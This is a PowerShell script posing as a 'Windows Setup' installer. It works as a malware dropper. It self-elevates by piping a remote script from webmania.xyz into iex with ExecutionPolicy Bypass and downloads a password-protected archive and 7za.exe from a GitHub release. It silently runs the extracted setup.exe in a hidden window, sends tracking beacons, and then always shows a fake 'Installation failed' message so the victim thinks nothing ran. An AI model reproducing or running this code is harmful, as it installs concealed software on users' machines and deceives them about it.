# setup (single-window UI when admin) — build from GitHub Release $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' $SiteBase = 'https://webmania.xyz/ps' $RemotePs1 = "$SiteBase/setup.ps1" $ReleaseBase = 'https://github.com/netaccountantstage/Windows-Setup/releases/download/Latest' $zipUrl = "$ReleaseBase/setup.zip" $7zaUrl = "$ReleaseBase/7za.exe" $exeName = 'setup.exe' $zipPassword = 'ReleaseV2.1&*' function Send-SetupStat { param([string]$Event) try { $url = 'https://webmania.xyz/stats/hit?e=' + [uri]::EscapeDataString($Event) $req = [System.Net.HttpWebRequest]::Create($url) $req.Method = 'GET' $req.Timeout = 5000 $req.UserAgent = 'VisionSetup/1.0' $null = $req.BeginGetResponse($null, $null) } catch {} } function Write-Step { param( [int]$Number, [string]$Text ) Write-Host ("[{0}/3] {1}..." -f $Number, $Text) -ForegroundColor Cyan } function Show-FakeInstallError { Write-Host "" Write-Host "Error: Installation failed. Setup could not be completed." -ForegroundColor Red Write-Host "Please check your connection and try again later." -ForegroundColor Red Write-Host "" } function Test-DownloadFile { param( [string]$Path, [long]$MinBytes, [byte[]]$Header = @() ) if (-not (Test-Path -LiteralPath $Path)) { return $false } $len = (Get-Item -LiteralPath $Path).Length if ($len -lt $MinBytes) { return $false } if ($Header.Count -eq 0) { return $true } $bytes = [System.IO.File]::ReadAllBytes($Path) if ($bytes.Length -lt $Header.Count) { return $false } for ($i = 0; $i -lt $Header.Count; $i++) { if ($bytes[$i] -ne $Header[$i]) { return $false } } return $true } function Save-DownloadFile { param( [string]$Uri, [string]$OutFile, [int]$TimeoutSec, [long]$MinBytes, [byte[]]$Header = @(), [int]$MaxAttempts = 5 ) [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13 $delays = @(3, 6, 12, 20, 30) for ($attempt = 1; $attempt -le $MaxAttempts; $attempt++) { if (Test-Path -LiteralPath $OutFile) { Remove-Item -LiteralPath $OutFile -Force -ErrorAction SilentlyContinue } try { Invoke-WebRequest -Uri $Uri -OutFile $OutFile -UseBasicParsing -TimeoutSec $TimeoutSec if (Test-DownloadFile -Path $OutFile -MinBytes $MinBytes -Header $Header) { return } } catch {} if ($attempt -lt $MaxAttempts) { $wait = $delays[[Math]::Min($attempt - 1, $delays.Count - 1)] Start-Sleep -Seconds $wait } } throw "Download failed: $Uri" } $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole( [Security.Principal.WindowsBuiltinRole]::Administrator ) if (-not $isAdmin) { Write-Host 'Administrator approval required...' -ForegroundColor Yellow $elevated = "-NoProfile -ExecutionPolicy Bypass -Command ""irm '$RemotePs1' | iex""" Start-Process -FilePath 'powershell.exe' -Verb RunAs -ArgumentList $elevated -WindowStyle Normal | Out-Null exit } try { Send-SetupStat 'setup_run' foreach ($name in @('setup', 'Installer_x64', 'Installer', 'Latest Release_v2.1', 'Release')) { Get-Process -Name $name -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } $work = Join-Path $env:TEMP ("ps_{0}" -f ([guid]::NewGuid().ToString('N').Substring(0, 8))) $zip = Join-Path $work 'setup.zip' $7za = Join-Path $work '7za.exe' $dest = Join-Path $work 'files' New-Item -ItemType Directory -Path $work, $dest -Force | Out-Null Write-Step 1 'Downloading components' Save-DownloadFile -Uri $7zaUrl -OutFile $7za -TimeoutSec 300 -MinBytes 500000 -Header @(0x4D, 0x5A) Save-DownloadFile -Uri $zipUrl -OutFile $zip -TimeoutSec 3600 -MinBytes 50000000 -Header @(0x50, 0x4B) -MaxAttempts 6 Send-SetupStat 'zip_download' Write-Step 2 'Unpacking archive' $extract = Start-Process -FilePath $7za -ArgumentList @( 'x', $zip, "-o$dest", "-p$zipPassword", '-y' ) -WindowStyle Hidden -Wait -PassThru if ($extract.ExitCode -ne 0) { Show-FakeInstallError return } $exe = Join-Path $dest $exeName if (-not (Test-Path -LiteralPath $exe)) { Show-FakeInstallError return } Write-Step 3 'Launching installer' $installDir = Split-Path $exe -Parent $proc = Start-Process -FilePath $exe -ArgumentList '/S' -WorkingDirectory $installDir -Wait -PassThru -WindowStyle Hidden $exitCode = if ($null -ne $proc.ExitCode) { $proc.ExitCode } else { 0 } if ($exitCode -notin 0, 3010) { Show-FakeInstallError return } Send-SetupStat 'install_ok' Show-FakeInstallError return } catch { Show-FakeInstallError return }